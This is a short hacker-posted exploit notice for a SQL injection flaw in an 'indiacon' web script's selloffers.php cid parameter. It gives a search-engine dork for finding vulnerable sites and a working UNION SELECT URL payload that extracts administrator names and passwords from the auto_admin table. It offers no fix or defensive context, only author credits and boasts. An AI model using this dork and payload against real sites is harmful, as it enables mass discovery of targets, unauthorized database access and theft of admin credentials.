indiacon (selloffers.php?cid) Remote SQL injection Vulnerability

############################### IRANIAN THE BEST HACKERS IN THE WORLD ##################
#################### ####################

Remote SQL injection Vulnerability

indiacon (selloffers.php?cid)

###############################################################
###############################################################
###############################################################
###############################################################

AuTh0r : Ehsan_Hp200

H0ME : www.ehsanhp.blogsky.com

Email : [email protected]

Vendor : http://www.indiacon.com/

Persian Gulf 4 Ever!

#############################
#############################
#############################
#############################
#############################

Dork : inurl:selloffers.php?cid= "Powered by indiacon.com"

Exploite:

www.victim.com/selloffers.php?cid=9//union//select//1,concat(sb_admin_name,0x3a,sb_pwd),3,4,5,6,7,8//from/**/auto_admin

#########################################################################################
SpeCial TanX To : Dj7Xpl
##########################################################################################
############################### IRANIAN THE BEST HACKERS IN THE WORLD ##################